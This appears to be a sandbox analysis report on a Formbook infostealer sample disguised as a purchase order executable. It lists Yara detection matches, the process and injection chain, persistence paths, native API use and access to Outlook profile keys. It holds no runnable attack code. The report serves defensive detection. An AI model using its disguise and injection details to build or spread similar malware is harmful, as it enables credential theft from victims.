Source: Yara match File source: 0000000B.00000002.821985368.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.415905710.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 2.2.jaxdij.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.jaxdij.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.2.jaxdij.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.jaxdij.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.jaxdij.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.2.jaxdij.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.821380016.0000000000500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.821380016.0000000000500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000002.821380016.0000000000500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.417309274.0000000001060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.417309274.0000000001060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.417309274.0000000001060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.417458366.0000000001090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.417458366.0000000001090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.417458366.0000000001090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.822152428.0000000004480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.822152428.0000000004480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000002.822152428.0000000004480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.383481318.000000001091F000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000000.383481318.000000001091F000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000000.383481318.000000001091F000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.821985368.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.821985368.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000002.821985368.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.415905710.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.415905710.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.415905710.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: jaxdij.exe PID: 5360, type: MEMORYSTR Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: rundll32.exe PID: 5412, type: MEMORYSTR Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Uses 32bit PE files
Source: New PO-RJ-IN-003 - Knauf Queimados.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Yara signature match
Source: 2.2.jaxdij.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.jaxdij.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.2.jaxdij.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.jaxdij.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.jaxdij.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.2.jaxdij.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.821380016.0000000000500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.821380016.0000000000500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000002.821380016.0000000000500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.417309274.0000000001060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.417309274.0000000001060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.417309274.0000000001060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.417458366.0000000001090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.417458366.0000000001090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.417458366.0000000001090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.822152428.0000000004480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.822152428.0000000004480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000002.822152428.0000000004480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000000.383481318.000000001091F000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000000.383481318.000000001091F000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000000.383481318.000000001091F000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.821985368.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.821985368.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000002.821985368.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.415905710.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.415905710.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.415905710.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: jaxdij.exe PID: 5360, type: MEMORYSTR Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: rundll32.exe PID: 5412, type: MEMORYSTR Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
One or more processes crash
Source: C:\Users\user\AppData\Roaming\fqkyib\rubthqnwyfue.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5040 -s 476
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Code function: 0_2_0040324F EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,ExitProcess,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess, 0_2_0040324F
Detected potential crypto function
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Code function: 0_2_00406333 0_2_00406333
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Code function: 0_2_00404936 0_2_00404936
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_002418D0 1_2_002418D0
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_0025A9EA 1_2_0025A9EA
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_00243520 1_2_00243520
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_0024C500 1_2_0024C500
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_00248EB0 1_2_00248EB0
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_002418D0 2_2_002418D0
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0025A9EA 2_2_0025A9EA
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_00243520 2_2_00243520
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0024C500 2_2_0024C500
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_00248EB0 2_2_00248EB0
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_004012B0 2_2_004012B0
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_00421898 2_2_00421898
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_004221DA 2_2_004221DA
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_004229BB 2_2_004229BB
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_004222FF 2_2_004222FF
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0040B442 2_2_0040B442
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0040B447 2_2_0040B447
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0042140D 2_2_0042140D
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_004044C5 2_2_004044C5
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_004044C7 2_2_004044C7
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0040FE77 2_2_0040FE77
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_00422601 2_2_00422601
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_004046E7 2_2_004046E7
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: String function: 0024D940 appears 64 times
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: String function: 002525B4 appears 36 times
Contains functionality to call native functions
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0041E097 NtAllocateVirtualMemory, 2_2_0041E097
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_004012B0 EntryPoint,NtProtectVirtualMemory, 2_2_004012B0
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0041DEB7 NtCreateFile, 2_2_0041DEB7
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0041DF67 NtReadFile, 2_2_0041DF67
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0041DFE7 NtClose, 2_2_0041DFE7
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_004014E9 NtProtectVirtualMemory, 2_2_004014E9
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0041DEB1 NtCreateFile, 2_2_0041DEB1
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0041DF61 NtReadFile, 2_2_0041DF61
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0041DF09 NtReadFile, 2_2_0041DF09
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0041DFE1 NtClose, 2_2_0041DFE1
Source: New PO-RJ-IN-003 - Knauf Queimados.exe ReversingLabs: Detection: 27%
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe File read: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Jump to behavior
Source: New PO-RJ-IN-003 - Knauf Queimados.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Process created: C:\Users\user\AppData\Local\Temp\jaxdij.exe "C:\Users\user\AppData\Local\Temp\jaxdij.exe" C:\Users\user\AppData\Local\Temp\uqnwrddys.k
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Process created: C:\Users\user\AppData\Local\Temp\jaxdij.exe "C:\Users\user\AppData\Local\Temp\jaxdij.exe" C:\Users\user\AppData\Local\Temp\uqnwrddys.k
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Roaming\fqkyib\rubthqnwyfue.exe "C:\Users\user\AppData\Roaming\fqkyib\rubthqnwyfue.exe" "C:\Users\user\AppData\Local\Temp\jaxdij.exe" C:\Users\user\AppData\L
Source: C:\Users\user\AppData\Roaming\fqkyib\rubthqnwyfue.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5040 -s 476
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Roaming\fqkyib\rubthqnwyfue.exe "C:\Users\user\AppData\Roaming\fqkyib\rubthqnwyfue.exe" "C:\Users\user\AppData\Local\Temp\jaxdij.exe" C:\Users\user\AppData\L
Source: C:\Users\user\AppData\Roaming\fqkyib\rubthqnwyfue.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6040 -s 444
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Process created: C:\Users\user\AppData\Local\Temp\jaxdij.exe "C:\Users\user\AppData\Local\Temp\jaxdij.exe" C:\Users\user\AppData\Local\Temp\uqnwrddys.k Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Process created: C:\Users\user\AppData\Local\Temp\jaxdij.exe "C:\Users\user\AppData\Local\Temp\jaxdij.exe" C:\Users\user\AppData\Local\Temp\uqnwrddys.k Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Roaming\fqkyib\rubthqnwyfue.exe "C:\Users\user\AppData\Roaming\fqkyib\rubthqnwyfue.exe" "C:\Users\user\AppData\Local\Temp\jaxdij.exe" C:\Users\user\AppData\L Jump to behavior
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe File created: C:\Users\user\AppData\Roaming\fqkyib Jump to behavior
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe File created: C:\Users\user\AppData\Local\Temp\nsqB9A2.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@11/14@19/15
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Code function: 0_2_00402036 CoCreateInstance,MultiByteToWideChar, 0_2_00402036
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Code function: 0_2_004043F5 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA, 0_2_004043F5
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5040
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6040
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Command line argument: --headless 1_2_002418D0
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Command line argument: --unix 1_2_002418D0
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Command line argument: --width 1_2_002418D0
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Command line argument: --height 1_2_002418D0
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Command line argument: --signal 1_2_002418D0
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Command line argument: --server 1_2_002418D0
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Command line argument: --headless 2_2_002418D0
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Command line argument: --unix 2_2_002418D0
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Command line argument: --width 2_2_002418D0
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Command line argument: --height 2_2_002418D0
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Command line argument: --signal 2_2_002418D0
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Command line argument: --server 2_2_002418D0
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ Jump to behavior
